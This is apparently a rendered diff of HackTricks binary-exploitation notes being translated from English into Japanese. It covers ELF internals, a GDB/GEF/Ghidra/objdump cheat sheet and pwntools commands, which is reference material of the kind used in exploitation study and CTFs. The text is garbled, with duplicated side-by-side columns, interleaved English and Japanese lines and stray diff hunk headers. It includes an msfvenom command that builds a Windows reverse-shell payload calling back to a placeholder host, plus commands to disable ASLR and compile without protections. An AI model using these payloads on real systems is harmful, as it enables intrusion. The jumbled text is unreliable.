0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init 1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data 2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] 10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) 11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...] [...]
``` ```
各シンボルエントリには以下が含まれます:
Each symbol entry contains: - **名前**
- **バインディング属性**(弱い、ローカル、またはグローバル):ローカルシンボルはプログラム自体によってのみアクセス可能ですが、グローバルシンボルはプログラムの外部で共有されます。弱いオブジェクトは、例えば異なる関数によってオーバーライド可能な関数です。
- **Name** - **タイプ**NOTYPEタイプ指定なし、OBJECTグローバルデータ変数、FUNC関数、SECTIONセクション、FILEデバッガ用のソースコードファイル、TLSスレッドローカル変数、GNU_IFUNC再配置用の間接関数
- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one. - **セクション** インデックス(位置)
- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation) - **値**(メモリ内のアドレス)
- **Section** index where it's located - **サイズ**
- **Value** (address sin memory)
- **Size**
## Dynamic Section
## 動的セクション
``` ```
readelf -d lnstat readelf -d lnstat
Dynamic section at offset 0xfc58 contains 28 entries: Dynamic section at offset 0xfc58 contains 28 entries:
Tag Type Name/Value Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6] 0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] 0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088 0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74 0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48 0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50 0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338 0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0 0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358 0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes) 0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes) 0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0 0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58 0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes) 0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA 0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8 0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0 0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes) 0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes) 0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW 0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE 0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50 0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2 0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee 0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15 0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0 0x0000000000000000 (NULL) 0x0
``` ```
NEEDEDディレクトリは、プログラムが**言及されたライブラリをロードする必要がある**ことを示しています。NEEDEDディレクトリは、共有**ライブラリが完全に動作し、使用可能になる**と完了します。
The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use. ## リロケーション
## Relocations
The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
ローダーは、依存関係をロードした後にそれらをリロケートする必要があります。これらのリロケーションは、リロケーションテーブルのRELまたはRELA形式で示され、リロケーションの数は動的セクションのRELSZまたはRELASZで示されます。
``` ```
readelf -r lnstat readelf -r lnstat
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
Offset Info Type Sym. Value Sym. Name + Addend Offset Info Type Sym. Value Sym. Name + Addend
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10 00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0 00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
00000001fff0 000000000403 R_AARCH64_RELATIV 1340 00000001fff0 000000000403 R_AARCH64_RELATIV 1340
@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0 00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
Offset Info Type Sym. Value Sym. Name + Addend Offset Info Type Sym. Value Sym. Name + Addend
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0 00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0 00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0 00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
``` ```
### 静的再配置
### Static Relocations もし**プログラムが好ましいアドレス**通常は0x400000とは異なる場所にロードされる場合、アドレスがすでに使用されているか、**ASLR**やその他の理由によるもので、静的再配置は**ポインタを修正**します。これらのポインタは、バイナリが好ましいアドレスにロードされることを期待していた値を持っています。
If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address. 例えば、`R_AARCH64_RELATIV`型の任意のセクションは、再配置バイアスに加算値を加えたアドレスを修正する必要があります。
For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value. ### 動的再配置とGOT
### Dynamic Relocations and GOT 再配置は外部シンボル依存関係からの関数などを参照することもあります。例えば、libCからのmalloc関数です。次に、ローダーはlibCをアドレスにロードする際、malloc関数がロードされている場所を確認し、そのアドレスをGOTグローバルオフセットテーブルテーブルに書き込みます再配置テーブルで示されているmallocのアドレスが指定されるべき場所です。
The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified. ### プロシージャリンクテーブル
### Procedure Linkage Table PLTセクションは遅延バインディングを実行することを可能にします。これは、関数の位置の解決が最初にアクセスされたときに行われることを意味します。
The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed. したがって、プログラムがmallocを呼び出すと、実際にはPLT内の`malloc`の対応する位置(`malloc@plt`)を呼び出します。最初に呼び出されたときに`malloc`のアドレスを解決し、それを保存するので、次回`malloc`が呼び出されると、そのアドレスがPLTコードの代わりに使用されます。
So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code. ## プログラム初期化
## Program Initialization
After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in:
プログラムがロードされた後、実行する時間です。しかし、最初に実行されるコードは**必ずしも`main`**関数ではありません。これは、例えばC++では**グローバル変数がクラスのオブジェクト**である場合、このオブジェクトはmainが実行される前に**初期化**されなければならないからです。
```cpp ```cpp
#include <stdio.h> #include <stdio.h>
// g++ autoinit.cpp -o autoinit // g++ autoinit.cpp -o autoinit
class AutoInit { class AutoInit {
public: public:
AutoInit() { AutoInit() {
printf("Hello AutoInit!\n"); printf("Hello AutoInit!\n");
} }
~AutoInit() { ~AutoInit() {
printf("Goodbye AutoInit!\n"); printf("Goodbye AutoInit!\n");
} }
}; };
AutoInit autoInit; AutoInit autoInit;
int main() { int main() {
printf("Main\n"); printf("Main\n");
return 0; return 0;
} }
``` ```
これらのグローバル変数は `.data` または `.bss` に位置していますが、`__CTOR_LIST__``__DTOR_LIST__` のリストには、初期化および破棄するオブジェクトが順序を保って格納されています。
Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them. C コードからは、GNU 拡張を使用して同じ結果を得ることが可能です :
From C code it's possible to obtain the same result using the GNU extensions :
```c ```c
__attributte__((constructor)) //Add a constructor to execute before __attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list __attributte__((destructor)) //Add to the destructor list
``` ```
コンパイラの観点から、`main` 関数が実行される前後にこれらのアクションを実行するために、`init` 関数と `fini` 関数を作成することが可能で、これらは動的セクションで **`INIT`** と **`FIN`** として参照され、ELF の `init` および `fini` セクションに配置されます。
From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF. 他のオプションとして、**`INIT_ARRAY`** および **`FINI_ARRAY`** エントリの **`__CTOR_LIST__`** および **`__DTOR_LIST__`** リストを参照することが挙げられ、これらの長さは **`INIT_ARRAYSZ`** および **`FINI_ARRAYSZ`** によって示されます。各エントリは引数なしで呼び出される関数ポインタです。
The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments. さらに、**`INIT_ARRAY`** ポインタの **前に** 実行される **ポインタ** を持つ **`PREINIT_ARRAY`** を持つことも可能です。
Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers. ### 初期化順序
### Initialization Order 1. プログラムがメモリにロードされ、静的グローバル変数が **`.data`** で初期化され、未初期化のものは **`.bss`** でゼロにされます。
2. プログラムまたはライブラリのすべての **依存関係****初期化** され、**動的リンク** が実行されます。
3. **`PREINIT_ARRAY`** 関数が実行されます。
4. **`INIT_ARRAY`** 関数が実行されます。
5. **`INIT`** エントリがあれば、それが呼び出されます。
6. ライブラリの場合、dlopen はここで終了し、プログラムの場合は **実際のエントリポイント**`main` 関数)を呼び出す時間です。
1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**. ## スレッドローカルストレージ (TLS)
2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
3. **`PREINIT_ARRAY`** functions are executed.
4. **`INIT_ARRAY`** functions are executed.
5. If there is a **`INIT`** entry it's called.
6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
## Thread-Local Storage (TLS) C++ ではキーワード **`__thread_local`** または GNU 拡張 **`__thread`** を使用して定義されます。
They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**. 各スレッドはこの変数のユニークな場所を維持するため、スレッドのみがその変数にアクセスできます。
Each thread will maintain a unique location for this variable so only the thread can access its variable. これが使用されると、ELF では **`.tdata`** および **`.tbss`** セクションが使用されます。これは TLS 用の `.data`(初期化済み)および `.bss`(未初期化)に似ています。
When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS. 各変数は TLS ヘッダーにエントリを持ち、サイズと TLS オフセットを指定します。これはスレッドのローカルデータ領域で使用されるオフセットです。
Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area. `__TLS_MODULE_BASE` はスレッドローカルストレージのベースアドレスを参照するために使用されるシンボルで、モジュールのすべてのスレッドローカルデータを含むメモリ内の領域を指します。
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
# Exploiting Tools # 利用ツール
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Metasploit ## Metasploit
```bash ```bash
pattern_create.rb -l 3000 #Length pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
@ -11,31 +10,23 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01 msfelfscan -j esi /opt/fusion/bin/level01
``` ```
### シェルコード
### Shellcodes
```bash ```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
``` ```
## GDB ## GDB
### Install ### インストール
```bash ```bash
apt-get install gdb apt-get install gdb
``` ```
### パラメータ
### Parameters
```bash ```bash
-q # No show banner -q # No show banner
-x <file> # Auto-execute GDB instructions from here -x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process -p <pid> # Attach to process
``` ```
### 指示
### Instructions
```bash ```bash
run # Execute run # Execute
start # Start and break in main start # Start and break in main
@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP x/i $eip # Instructions of the EIP
``` ```
### [GEF](https://github.com/hugsy/gef) ### [GEF](https://github.com/hugsy/gef)
You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions. より興味深い指示が含まれている[**このGEのフォーク**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef)をオプションで使用することができます。
```bash ```bash
help memory # Get help on memory command help memory # Get help on memory command
canary # Search for canary value in memory canary # Search for canary value in memory
@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f 2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0: Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176 rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8 called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args: Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers: Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176 gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176' [+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely [+] Found at offset 184 (little-endian search) likely
``` ```
### Tricks ### Tricks
#### GDB same addresses #### GDB 同じアドレス
While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: デバッグ中、GDB は **実行時にバイナリが使用するアドレスとはわずかに異なるアドレスを持ちます。** GDB に同じアドレスを持たせるには、次のようにします:
- `unset env LINES` - `unset env LINES`
- `unset env COLUMNS` - `unset env COLUMNS`
- `set env _=<path>` _Put the absolute path to the binary_ - `set env _=<path>` _バイナリの絶対パスを入力します_
- Exploit the binary using the same absolute route - 同じ絶対ルートを使用してバイナリをエクスプロイトします
- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary - `PWD` `OLDPWD` は、GDB を使用しているときとバイナリをエクスプロイトしているときで同じでなければなりません
#### Backtrace to find functions called #### バックトレースで呼び出された関数を見つける
When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
**静的リンクされたバイナリ**を持っている場合、すべての関数はバイナリに属します(外部ライブラリには属しません)。この場合、**バイナリがユーザー入力を要求するためのフローを特定するのは難しいです。**\
このフローは、**gdb** でバイナリを実行し、入力を求められるまで簡単に特定できます。その後、**CTRL+C** で停止し、**`bt`** **バックトレース**)コマンドを使用して呼び出された関数を確認します:
``` ```
gef➤ bt gef➤ bt
#0 0x00000000004498ae in ?? () #0 0x00000000004498ae in ?? ()
@ -154,87 +141,80 @@ gef➤ bt
#3 0x00000000004011a9 in ?? () #3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? () #4 0x0000000000400a5a in ?? ()
``` ```
### GDBサーバー
### GDB server `gdbserver --multi 0.0.0.0:23947` (IDAでは、Linuxマシンの実行可能ファイルの絶対パスを入力する必要があります。また、Windowsマシンでも同様です)
`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
## Ghidra ## Ghidra
### Find stack offset ### スタックオフセットの特定
**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ **Ghidra**は、**ローカル変数の位置に関する情報のおかげで、バッファオーバーフローのための**オフセット**を見つけるのに非常に便利です。**\
For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ 例えば、以下の例では、`local_bc`のバッファフローは、`0xbc`のオフセットが必要であることを示しています。さらに、`local_10`がカナリークッキーである場合、`local_bc`からそれを上書きするためには`0xac`のオフセットが必要であることを示しています。\
&#xNAN;_&#x52;emember that the first 0x08 from where the RIP is saved belongs to the RBP._ &#xNAN;_&#x52;emember that the first 0x08 from where the RIP is saved belongs to the RBP._
![](<../../../images/image (1061).png>) ![](<../../../images/image (1061).png>)
## qtool ## qtool
```bash ```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
``` ```
プログラムで実行されるすべてのオペコードを取得します。
Get every opcode executed in the program.
## GCC ## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ **gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 保護なしでコンパイル\
&#xNAN;**-o** --> Output\ &#xNAN;**-o** --> 出力\
&#xNAN;**-g** --> Save code (GDB will be able to see it)\ &#xNAN;**-g** --> コードを保存GDBが見ることができる\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux **echo 0 > /proc/sys/kernel/randomize_va_space** --> LinuxでASLRを無効にするため
**To compile a shellcode:**\ **シェルコードをコンパイルするには:**\
**nasm -f elf assembly.asm** --> return a ".o"\ **nasm -f elf assembly.asm** --> ".o"を返す\
**ld assembly.o -o shellcodeout** --> Executable **ld assembly.o -o shellcodeout** --> 実行可能
## Objdump ## Objdump
**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ **-d** --> **実行可能**セクションを逆アセンブルコンパイルされたシェルコードのオペコードを確認、ROPガジェットを見つける、関数アドレスを見つける...\
&#xNAN;**-Mintel** --> **Intel** syntax\ &#xNAN;**-Mintel** --> **Intel**構文\
&#xNAN;**-t** --> **Symbols** table\ &#xNAN;**-t** --> **シンボル**テーブル\
&#xNAN;**-D** --> **Disassemble all** (address of static variable)\ &#xNAN;**-D** --> **すべてを逆アセンブル**(静的変数のアドレス)\
&#xNAN;**-s -j .dtors** --> dtors section\ &#xNAN;**-s -j .dtors** --> dtorsセクション\
&#xNAN;**-s -j .got** --> got section\ &#xNAN;**-s -j .got** --> gotセクション\
-D -s -j .plt --> **plt** section **decompiled**\ -D -s -j .plt --> **plt**セクション **逆コンパイル**\
&#xNAN;**-TR** --> **Relocations**\ &#xNAN;**-TR** --> **再配置**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ **ojdump -t --dynamic-relo ./exec | grep puts** --> GOTで修正するための"puts"のアドレス\
**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). **objdump -D ./exec | grep "VAR_NAME"** --> 静的変数のアドレスこれらはDATAセクションに格納されます
## Core dumps ## コアダンプ
1. Run `ulimit -c unlimited` before starting my program 1. プログラムを開始する前に `ulimit -c unlimited` を実行します
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` を実行します
3. sudo gdb --core=\<path/core> --quiet 3. sudo gdb --core=\<path/core> --quiet
## More ## もっと
**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ **ldd executable | grep libc.so.6** --> アドレスASLRの場合、毎回変わります\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\ **for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> アドレスが頻繁に変わるかどうかを確認するためのループ\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"のオフセット\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"のオフセット
**strace executable** --> Functions called by the executable\ **strace executable** --> 実行可能ファイルによって呼び出される関数\
**rabin2 -i ejecutable -->** Address of all the functions **rabin2 -i ejecutable -->** すべての関数のアドレス
## **Inmunity debugger** ## **Inmunity debugger**
```bash ```bash
!mona modules #Get protections, look for all false except last one (Dll of SO) !mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
``` ```
## IDA ## IDA
### Debugging in remote linux ### リモートLinuxでのデバッグ
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary:
IDAフォルダ内には、Linux内のバイナリをデバッグするために使用できるバイナリがあります。これを行うには、バイナリ`linux_server`または`linux_server64`をLinuxサーバー内に移動し、バイナリを含むフォルダ内で実行します:
``` ```
./linux_server64 -Ppass ./linux_server64 -Ppass
``` ```
次に、デバッガを設定します: Debugger (linux remote) --> Proccess options...:
Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
![](<../../../images/image (858).png>) ![](<../../../images/image (858).png>)

View File

@ -1,120 +1,100 @@
# PwnTools # PwnTools
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
``` ```
pip3 install pwntools pip3 install pwntools
``` ```
## Pwn asm ## Pwn asm
Get **opcodes** from line or file. 行またはファイルから**オペコード**を取得します。
``` ```
pwn asm "jmp esp" pwn asm "jmp esp"
pwn asm -i <filepath> pwn asm -i <filepath>
``` ```
**選択可能:**
**Can select:** - 出力タイプ (raw, hex, string, elf)
- 出力ファイルコンテキスト (16, 32, 64, linux, windows...)
- output type (raw,hex,string,elf) - バイトを避ける (改行, null, リスト)
- output file context (16,32,64,linux,windows...) - エンコーダを選択し、gdbを使用してデバッグシェルコードを実行する
- avoid bytes (new lines, null, a list)
- select encoder debug shellcode using gdb run the output
## **Pwn checksec** ## **Pwn checksec**
Checksec script Checksecスクリプト
``` ```
pwn checksec <executable> pwn checksec <executable>
``` ```
## Pwn constgrep ## Pwn constgrep
## Pwn cyclic ## Pwn cyclic
Get a pattern パターンを取得する
``` ```
pwn cyclic 3000 pwn cyclic 3000
pwn cyclic -l faad pwn cyclic -l faad
``` ```
**選択可能:**
**Can select:** - 使用するアルファベット(デフォルトは小文字)
- ユニークパターンの長さデフォルトは4
- コンテキスト16,32,64,linux,windows...
- オフセットを取得する(-l
- The used alphabet (lowercase chars by default) ## Pwnデバッグ
- Length of uniq pattern (default 4)
- context (16,32,64,linux,windows...)
- Take the offset (-l)
## Pwn debug
Attach GDB to a process
プロセスにGDBをアタッチする
``` ```
pwn debug --exec /bin/bash pwn debug --exec /bin/bash
pwn debug --pid 1234 pwn debug --pid 1234
pwn debug --process bash pwn debug --process bash
``` ```
**選択可能:**
**Can select:** - 実行可能ファイル、名前、または pid コンテキストによって (16,32,64,linux,windows...)
- 実行する gdbscript
- By executable, by name or by pid context (16,32,64,linux,windows...)
- gdbscript to execute
- sysrootpath - sysrootpath
## Pwn disablenx ## Pwn disablenx
Disable nx of a binary バイナリの nx を無効にする
``` ```
pwn disablenx <filepath> pwn disablenx <filepath>
``` ```
## Pwn disasm ## Pwn disasm
Disas hex opcodes 16進数のオペコードを逆アセンブルする
``` ```
pwn disasm ffe4 pwn disasm ffe4
``` ```
**選択可能:**
**Can select:** - コンテキスト (16,32,64,linux,windows...)
- ベースアドレス
- context (16,32,64,linux,windows...) - 色 (デフォルト)/色なし
- base addres
- color(default)/no color
## Pwn elfdiff ## Pwn elfdiff
Print differences between 2 files 2つのファイルの違いを表示します
``` ```
pwn elfdiff <file1> <file2> pwn elfdiff <file1> <file2>
``` ```
## Pwn hex ## Pwn hex
Get hexadecimal representation 16進数表現を取得する
```bash ```bash
